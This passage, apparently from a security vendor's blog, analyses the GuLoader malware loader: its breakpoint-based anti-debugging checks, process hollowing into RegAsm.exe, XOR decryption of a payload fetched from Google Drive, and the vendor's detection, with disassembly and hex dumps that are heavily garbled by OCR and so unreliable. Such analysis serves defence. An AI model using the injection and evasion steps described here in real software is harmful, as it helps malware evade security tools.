66:BB18 mov bx,word ptr ds:[eax]
66:81FB OFOB cmp bx,BOF check bx with BOF
~ 74 1B je <force_crash=-
FFDO call eax call apI
DAD0 fr‘-je

Figure 11: Software and hardware breakpoint checks (click image to enlarge)

During their malware analysis, analysts often use hardware or software breakpoints at the beginning of suspicious

API calls — for example, by patching the first byte of CreateProcessInternalW with @xCC .

By calling the NtGetContextThread function, debug registers ( DR@ through DR7 ) can be used to detect
hardware breakpoints, while 0xCC , 0X3CD and ©0xBOF opcodes are used to detect software breakpoints (if

present) at the beginning of the API calls.

Process Hollowing Injection

Process hollowing is a code injection technique used by malware in which the executable code of a legitimate
process in memory is replaced with malicious code. By executing within the context of legitimate processes, the
malware can bypass security solutions. The shellcode similarly uses process hollowing techniques in order to
inject its code into the legitimate process (here RegAsm.exe or MSBuild.exe or RegSvcs.exe ) with a slight
variation. Here, shellcode doesn’t unmap memory code of legitimate processes; instead it uses the
NtCreateSection API section object to inject its malicious code. The process is as follows: 1) Calls
kernel32.CreateProcessInternalll to create the Windows legitimate process
"C:\Windows\Microsoft. NET\Framework\v2.0.50727\RegAsm.exe" with CREATE_SUSPENDED(0x00000004) flags.
If it doesn’t find RegAsm.exe , it will try to find MSBuild.exe or RegSvcs.exe in the same directory path and
loop until it finds one of them. 2) Opens a file handle to the hard-coded file path

"C:\Windows\syswow64\mstsc.exe" using ZwOpenFile

3) Calls ntdll.NtCreateSection on the file handle for mstsc.exe . The ZwCreateSection function creates a
section object that represents a section of memory that can be shared. This file handle is used to create a new
section object with the DesiredAccess parameter. 4) The section is then mapped in the targeted process
( RegAsm.exe ) using the function ntdll.NtMapViewOfSection with the BaseAddress parameter set to

0x400000 . This maps the section in the base address 0x400000 , which is typically the address used to map the

executable file image of the process.
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5) Calls ntdll.NtWriteVirtualMemory in order to write the shellcode in the newly allocated memory of the

targeted process. 6) Calls ntdll.NtGetContextThread to obtain information about the main thread within the

suspended subprocess. 7) After the shellcode has been written to the memory of the targeted process, the

execution needs to be redirected to it. To achieve this, GuLoader makes use of the function

ntdll.NtSetContextThread to change the context of the only thread running in the targeted process (still in a

suspended state). This context change sets the EIP register to the address that points to the beginning of the

shellcode, which makes the execution start there. 8) Calls ntd11l.NtResumeThread to resume the new thread in

RegAsm.exe to execute the malicious shellcode.

Final Payload

After GuLoader has successfully injected into the RegAsm.exe

process, its shellcode will download the final payload from the Google Drive link in memory in an encrypted

form, as shown in Figure 12.

Address

Hex

ASCII

02BAQ010
02BA00Z0
02BAQDOD320
02BADD40
02BAQ050
02BADODGD
02BA0070
02BAQODED
02BAQ020
02BAD0AD
02BAQDODED
02BAQDCD
02EAQODOD
02EBAQODED
02BAQ0FD
02BAQ100
02BAQ110
02BA01Z20
02BAOD130
02BADL140
02BAQ150
02BAD160
02BA0170
02BAOQ1E0
02BAQ0190
02BAO01AD
02BAOD1ED
02BAQLCD
02EAQ01DOD
02BAQ1ED
02BAQLFOD
02BADZ00
02BADZ10
02BADZZ0
02BADZ30
02BADZ 40
02BADZ50
02BADZE0
02BA0Z70
02BADZED
02BADZ30
02BADZAD
02BADZED
02BAD2CD
02BADZDO
02BADZED
02BADZFO
02BAQ300
02BAQ0310
02BAD3Z0

66
31
36
D3
&5
47
79
E1
48
EC
AT
AC
72
AL
1B

33
64
63
D
32
06
DA
14
A3
35
4F
FF
D4
AS
78

62
31
3B
5E
E1
G5
ES
(=1
9E
D3
LT
BC
3F
c3
5A

42 SF QC 00
C3 91 ES 90

&
&2
Do C2
47 27
79 C&
EF ED
21 13
35 F4
cA 19
A8 SE
72 64
BE 37
DrF 22
09 4B
72 2D
B2 52
28

6A DE
74 CE
&8 F9
b C1
11 44
OF C5 A3 2D
E7 33 ED 4F
i 72 AZ OF
58 €& 52 D7
A9 A4 55 90
16 43 B3 C3
D9 8A 47 BC
28 04 30 44
7A 49 E9 2B
04 z& 5C 21

EE
E3

89
59
32
02
DA
AE
83
57
2B
FE
D4
DE
35
CE
a0
71
4L
A
D3
47
79
EF

97
5E
E1
G5
ES
GE
EE
B&
29
BC
3F
Bl
46
c9
4C
Do
L3
S
cz2
E7
C&
ED

30
39
61
E7
16
8D
BF
F1
15
BA
3E
DE
58
EE
61
23

30
62
L=15)
OE
33
59
3A
EE
EE
14
86
Bl
91
BE7
D
ED

1
36
[
De
BA
DD

36
66
61
33
ED
EOD

61
83
30
D1
=
D7

38
&85
35
45
1C
FO

37
39
31
AD
23
AG

62 33 66 33
66 37 31 61
62 &5 65 38
at SE 34 75
51 C6 &8 F9
84 AT 3D C1

ol
ZE
D9
40
EE
34
E9
7F
o2
BS

e L0 CF 02
3C 18 A3 8C
TE EE TE QE

AB
16
81
BF
F1
&7
34
10
42
EE
BB
i
oF
81
F&
2A

OE
33
59
3A
LF
B4
66
EBE
20
91
BE7
FC

79
5E
c4
AL

4C
20
F4
c3
o0
71
o1
D&
AR
7E
52
ET
ET
8F
5F
34

D&
A
oD
&0
E3
AR
ZE
Bl
34
ES
7F
BE
o1
c5
48
CE

2l SC E4 OF

ZE
0&
DA
AE
EX
EA
5F
4F
F7
79
98

26
&5
ES
GE
71
C5
37
B
51
D&
34

16
8D
BF
F1
9B
EC
F2
FD
FE
31
EF

33
59
3A
5F
63
7D
5F
7B
76
34

SE DO o° 04
92 E7 BS 25
EQ 10 3E 20

Iz
A9

FDr
66

Lo
98

Fd )
E1

RE S 2D 17
11 41 2F D7
47 0OA 15 7A
86 20 C5 AD
00 55 B& Bl
SO P2 o8 04
B4 7B 66 CB
E2 BD F7 4F
EC AS CB D2
85F 8&& 8F 55
05 AC 73 DB
37 Tl 4C AD
AD Bz 1C 23
ED D7 FO A&
12 FD C4 29
88 DE 99 AD
BA 23 6D 74
393 08 41 F7F
40 FE 7O 02
D9 4D EE FE
OB 54 BE B1
A2 TA 4E CO
70 17 22 &7
BC 4E D& &7
18 &3 87 BE

c1
o4
23
F4
c3
a0

&858 2F
D& 37
SA AD
DD EO
&0 12
E3 B8
95 54 Al AB
15 DO 3E E4
1E B2 C2 11
CA ED 4C 32A
32 37 2D DO
§7 70 E1 52
FE D7 DB &3
60 FO 94 1F
SA 92 E7 ED
01 CD S5E 9A

94
D1
BZ
or
FD
DE

TACC 11 44
E1l D3 Bl AF
C3 BD DF 25
91 BF DD EE
07 1D &2 95
D FE 2§ 18|-
AF 46 OE 9B
26 &9 DF 1F
58 &C B3 AZ
CE 50 B7 &9
02 75 1B &9
77 BA EC TFO
A% 7B CO F3
EE AL 24 7§
E1 €6 &8 F9
B4 AF 3ID C1
FA CC 11 44
2C F2 ES C7
Af D3 B9 44
90 FB BE CE
73 1D &2 95
D FD 26 18
24 0A FB
AS 9F DB
24 6F SE
&F 43 25
59 13 AS
56 AB GE
38 7C AF
AD DE Al
23 51 CO
AG B4 AT
29 FA CC
AD 2C F2
41 F& 9D
94 57 CB

AR 2 DO 0OF
ZF EF A7 AC
53 &F DE FE
FD
FF
23

o7
B7
41
Cé

OF &85
6E C3
3D S5F
31 90

D3| .&

ff3b00966a87b3T3
10digbzefceafria
67cBafdeansibefs
Girg. LOZAH $A0v
h&za. 3 zi=.xq¢hu
E 2. ¥0Yaxd | §-A
yEOBR:E’ yﬂjz
aD ené, .ef.aad+
HOE. . &, DDnM . A
ﬁﬁSG*.t@.A;x.-?T
gvﬂ\> DzG..z..b.
%" 134 DA lyﬁ.
F

¥c Ae R Iu. L&k,
.Ex.alig. {fExX1=¢
I....%0.3.:01P.1
AL A ARI."¥ED.u. i
G.¥. <. £....Uw.1p
Te. . ~8%, .-sB2{AL
baysre. LOFgL (¢.v
pAza.z z.=.xq¢hu
G'.2.¥YoYaxd! §-A
yEOB;:E’ yﬂju
18kn .d.b..,
1..9g. qx*#ﬂtﬂﬁ ]
Lowy.f..9.a5.8.1
E.+9..02M~p.5.b.
ALME. =4UM1b}yE.
rdb7 LTE. .50
.70 R czhAa¥ 0
x"EF.ucﬁp =g
KEE W nugénc&
L.AA.c. Y,
‘RqDBA_HKE_.sb n
(WES*¥4EAh/. 28|
jg..]ME. .OFRD P
TIOA. &. 387, *T#QA
hDGE e.¥ovyaxd|
=AyElE; : E yﬁju
.Dii=kn_.3a.p..,
.Af-7qg.c. T|,rAD
c31GEA1} p=d% , WE
A. =AD.
ERxDEy{E1L ;1§ﬂ
BHy, <Qpv27-B5
.C*AyvD14awpar.
0. G, 41wpr1...§
=.01.D.. O.. nAy
ZI&(. CuiZ.cia=_2
wila.>. . IA £1. 0

Encrypted final payload downloaded in the memory (click image to enlarge)
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The real encrypted payload is appended after the first 64 bytes of random data. The GuLoader shellcode uses a
hardcoded XOR key with a length of 517 bytes for this sample (as shown in Figure 13) to decrypt the final
payload.

Address | Hex ASCII

000D217D |00 ES8 C8 E2|FF FF 5C 00|73 00 75 00|&2 00 && 00| .eEayy’.s.u.b. f
000D218D | 6F 00 &C OO0|&4 OO0 &5 Q0|72 00 21 00|00 OO0 E8 7Z2|o.l.d.e.r.1.
00002190 |F8 FF FF 73|68 &5 &C &C |33 32 00 EB|BC FB FF FF|@yyshellzz. &, ayy
000D21AD |53 48 43 72|65 61 74 65|44 69 72 65|63 74 &F 72|SHCreateDirector
O0ON?1RN | 79 45 78 57|00 F8 E8 57 |FB FF FF 53|68 65 &0 &C | vExW.asWo ""She11
000D21CD (45 78 65 63|75 74 65 57|00 39 C9 ES|B1 F2 FF FF|Executew. JER+DYY
000D21DD [SE ¢ D SE|E4 UE 4C DGl 30 UL 38 AU AL ST reu. 14a. LO7 RH Di.v
000D21ED |DD €2 32 E1|16 33 20 SA|AD B2 1C 22|51 C6& 68 F9|PAZa.3 z.=. #qghu
000D21FD |47 E7 06 &5 (8D 59 F4 DD |ED D7 FO AG|84 AF 3D C1 GE e. YnYaxa A
00002200 |79 C8 DA EB|BF 3A C9 60|12 FD C4 Z9|FA CC 11 44 q (1] yﬁju
00002210 JEF ED AE GE|F1 SF 90 E3 |88 DE 99 AD|2C F2 ES L7 1Bkn .a p..,né;
00002220 21 13 B3 EE|G7 84 71 AE|BA 03 6D 74|AZ DI B9 44 .ig.ge®.mted" ]
00002230 |98 F4 57 BG&|9A &6 01 2E|31 28 41 F7|DS F8 BE CE .6Wﬂ.F:.1{A+ﬁa.i
00002240 JCA 19 2B 39|10 8B D6 B1|63 0A 15 7A|07 1D &2 95 E +9, .0+C..Z..b.
00002250 |FC 3E FF BC (42 BO AA 34|D9 2F EA FE|ZD EFE 3g 18 gma+ﬂ4u;éb1yﬁ.
00002260 |72 &4 D4 3F (B8 91 7E BS|0B 54 BE B1|AF Z4 0A 9B TH. &
00002270 |A5 45 A8 C3|EE BF 52 7F |82 79 92 04|26 49 DF 1F E “AE-R..y..&IR.
00002280 J1B &4 7C BA|61 DC 27 02|B4 SB &6 CB|58 &6E B3 AZ||.j|.al'. [fExn=e
00002290 |40 SF 0OC 0D |93 BD FB 85|E6 80 FF 4F|CE 50 &7 &3|M....%0.=.z0Ir.i
oooDzzap C3 71 E1 90(|CS EZ CF 09(5C A5 CB D2|00 75 5B EC |Bga.AaI. ¥E0.uld
000D22BD |EG 26 BS 14|3C O8 A3 BC|8F 86 9F 55|77 9A EC 7O|B.H.<.£....Uw.1p
000D22CD |6C BE 8% 97 |GE E9 78 OF (05 AC 73 DB|AZ 7B CO F3|([ls..néx..-s88{A0
000D220D |9E 9C 5D SE|E4 OE 4C D&|37 D1 48 AD|RE ALl 94 7&().148.LE87RH Oj.v
O00D22ED DO C2 32 E1|16 33 20 SA|AD B2 1C 23|51 C6 &8 F9|pAza.3z z.=. #qghu
000D22FD |47 E7 06 &5 (8D 59 F4 DD |ED D7 FO AG|84 AF 3D C1 E'E Y&vaxD, §-A
00002300 |79 C8 DA EB|BF 3A C9 60|12 FD C4 Z9|FA CC 11 44 0

00002310 JEF ED AE GE|F1 SF 90 E3 |88 DE 99 AD|2C F2 ES L7
000D232D 21 13 B3 EE|G7 84 71 AB|BA 03 6D 74|AZ D3I B9 44
00002330 |98 F4 57 BG&|9A &6 01 2E|31 28 41 F7|DS F8 BE CE
00002340 JCA 19 2B 39|10 8B D6 B1|63 0A 15 7A|07 1D &2 95

"kan .. p..,0ag
t..ig.qe®.mced ]
.6Wﬂ.F:.1{A+ﬁa.1
«+9. .0xC. .Z..b.

000D235D |FC 3E FF BC |42 BO AA 34 |D9 2F EA FE|ZR FF 2¢ 12|j %"‘AE““4U;E|&1}‘G.
oo0D236D 72 64 D4 ZF|BB 91 FE BB|0OB 54 BE B1|AF 24 04 9B T

DO0D2370 |AS 45 AS C3|EB B7 52 7F(82 79 4E CO|E2 05 98 DB|RE Aé. F:..yh.ha .D
000D238D D7 26 28 46(1D 98 EI BE|70 17 22 87|14 24 &F GE |R&BF..&3%p."..=oA

.KEEGy Acq‘...C%
-.L...A.a..%1,
‘RqDBA_HKE =T

000DZ39D |02 4B C8 C9|4F 79 BF 41|AZ 3C B3 QB|8A OC 43 25
000DZ34AD |7F 2D 90 4C |81 9E BB C5|18 &1 87 BE|BC 31 17 ASB
O00OD23ED |BEZ 52 71 DO|F8 C4 5F 48|48 42 SB 11(33 56 A8 2C
000D23CD |28 77 45 53 (24 A5 34 CB|Cl 63 2F 94|65 38 7C AF |[(wEs=¥4EAh/. eSl
000D230D |5A 58 E9 50|01 00 00 7FC|C8 B8 4F 7C|C8 BB 4F 7C|ExXépr...|E. O|E. O]
DD 2 3 E D e e T T T T T LD|ELG|ELD| O
000DZ3FD | C8 BB 4F 7C|CB BB 4F 7C|C8 BB 4F 7CI|C8 BB 4F 7C|E. 0lE OlE. OlE Ol

Figure 13:
Embedded XOR key (null terminated) for decrypting final payload (click image to enlarge)

The following piece of code from the shellcode decrypts its encrypted payload back into its original one, as shown

in Figure 14.
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BESS 20 mov edx,dword ptr ss:|[lebp+20]
81C2 40000100 add edx, 10040
BEBD ACOOO0000 mov ecx,dword ptr ss:|[[ebp+ac] End of payload buffer offset
90 nop
01CA add edx,ecx
F7D9 neg ecx
F8 clc
EE 02020000 mov ebx,z202
BE45 &4 mov eax,dword ptr ss:|[[ebp+s4] XOR KEY Location
01Ds add esax,ebx
BaCe mov esi,eax
B5DE test ebx,ebx
F7DE neg ebx
FC cld
59DF mov edi,ebx
3I3F6 cmp esi,esi
90 nop
SEO40A mov eax,dword ptr ds:[edx+ecx] move 4 bytes of encryted payload
FC cld
01F3 add ebx,esi
OFGECO mowd mmo, eax move 4 bytes into EAX
OFGEOE mowvd mml,dword ptr ds:[ebx] 4 bytes of XOR key
OFEFC1 pxor mmo , mml Eitwise XOR
51 push ecx
OF7EC1 movd eCx,mmo
30 nop
BEBCSE mov al,cl Mowve 1ast byte into EAX
F8 clc
] pop ecx
29F3 sub ebx,esi
83C3 01 add ebx,1
v 75 04 jne D27BO
B3FE mov ebx,edi
B5DE test ebx,ebx
FC cld
530404 mov dword ptr ds:[edx+ecx],eax replace original byte
000D27E4 83C1 01 add ecx,1
oo0D27ET ~ 75 D4 jne D278D
000D27ES 3I3F6 cmp esi,esi
000D27 BB 90 nop
0o0D27BC OF77 Smms
000D27BE Cc3 ret
000D27EF FC cld
000D27C0 20 nop
000D27C1 F& clc

N m

dword ptr [edx+ecx*1]=[02BAC445]=03FTEB1C
eax=F7EB1C13

000D27EL

24 pump 1 | i oump2 | U oump3 | Pl Dump4 | QU Dumps | ) watch 1 | [x=] Locals | ;;JStrud|

Address | Hex ASCII

0ZBADDOO | 63 64 62 31|37 32 63 35|61 33 64 36|64 31 66 GG |cdblrzcsasdedife
02BADDIO0| 66 66 33 6230 30 39 36|36 61 38 37|62 33 66 33| ff3b00966as7hifa
02BADO20 |31 20 64 31|29 62 22 26|66 63 65 39|66 37 31 61|10disbzefcesfria
D2BADD30|36 37 63 38|61 66 64 65|61 30 35 31|62 65 &6 38|67cBafdeansibefs
02BADO40 [3D1cA 90 00|02 00 00 00|04 00 00 OO|FF FF 00 0O i .
0ZBAOOSO|BS 00 00 00|00 00 00 00|40 00 00 00|00 00 00 00
02BAOOGO |00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00
02BADO7FO| 00 00 0O 00|00 00O 00 00|00 OO0 00 00|80 00 00 00
0ZBAOOSO | DE_1F BA OE |00 B4 09 CD|21 B8 01 4C|CD 21 54 &8|..=..
D2BADD90| 69 73 20 70|72 6F &7 72|61 6D 20 63|61 GE GE &F|is program canno
DZBADOAD |74 20 62 65 (20 72 75 GE|20 69 GE 20|44 4F 52 20|t be run in DOS
D2BADOBO| 6D 6F 64 65 |2E OD OD 0A|24 00 00 00|00
02BADOCO |50 45 00 00|4C 01 03 00|5F 1F 2F 5E |00
02BAOODO |00 00 00 00|EQ 00 02 01|08 01 08 00|00
02BADDED| 0D 06 00 00|00 00 00 00|4E 80 04 00|00
0ZBADOFO |00 AD 04 00|00 00 40 00|00 20 00 00|00
02BAO100 |04 00 00 00|00 00 0O 00|04 00 00 00|00
02BAD110 |00 EO 04 00|00 02 00 00|00 00 00 00|02
02BAO120 |00 00 10 00|00 10 00 00|D0 00 10 00|00
02BA0130|00 00 00 00|10 00 00 00|00 0O 00 00|00

Figure 14: Decryption routine and decrypted final payload (click image to enlarge)

How the CrowdStrike Falcon® Platform Protects Against GuLoader

The CrowdStrike Falcon®® platform has the ability to detect and prevent GuLoader by taking advantage of the
behavioral patterns indicated by the malware. By turning on suspicious process blocking, Falcon ensures that

GuLoader is killed in the very early stages of execution.

In addition, the CrowdStrike® machine learning (ML) algorithm provides additional coverage against this

malware family, as illustrated in Figure 16.
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EXPLORER.EXE

oo

: r - QUEST FORM.EXE

ACTION TAKEN

SEVERITY

OBJECTIVE

TACTIC &
TECHNIQUE

SPECIFIC TO THIS
DETECTION

INDICATORS OF
INTEREST

LOCAL PROCESS ID

© Process blocked
@ High
Falcon Detection Method

Machine Learning via Sensor-based ML

This file meets the machine learning-based on-sensor
AV protection's high confidence threshold for

malicious files.

Associated 10C (SHA256 on library/DLL loaded)
bfa5dba46db1253587058b0392c04c8403846fa55..
Associated File

\Device\HarddiskVolumel\Users\windows\Des..

2720

Figure 16: GuLoader process blocked by ML algorithm (click image to enlarge)

Conclusion

GulLoader has been very active in 2020 and is frequently used by criminals to distribute their malware like

AgentTesla, FormBook and NanoCore. The use of process hollowing and hosting encrypted payloads on Google

Drive is designed to bypass many security solutions — but it doesn’t bypass CrowdStrike Falcon®.

Appendix: APIs Resolved by GuLoader

e LoadLibraryA

e TerminateProcess

e EnumWindows

e ZwProtectVirtualMemory
e DbgBreakPoint

e DbgUIRemoteBreakin
e NtGetContextThread

e NtSetContextThread

e NtWriteVirtualMemory
¢ NtCreateSection

o NtMapViewOfSection
e NtOpenFile

e NtClose

e NtResumeThread

e CreateProcessInternal W
e GetLongPathNameW
e Sleep

e CreateThread

e WaitForSingleObject

e TerminateThread

e AddVectoredExceptionHandler
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e CreateFileW

e WriteFile

e CloseHandle

e GetFileSize

e ReadFile

e ShellExecuteW

e SHCreateDirectoryExW
e RegCreateKeyExA

e RegSetValueExA

Indicators of Compromise (IOCs)
Additional Resources

e Learn more about the_CrowdStrike Falcon® platform by visiting_the product webpage.

e Learn more about CrowdStrike endpoint detection and response by visiting the_Falcon Insight™ webpage.

» Test CrowdStrike next-gen AV for yourself. Start your free trial of Falcon Prevent™ today.

Source: https://www.crowdstrike.com/blog/guloader-malware-analysis/
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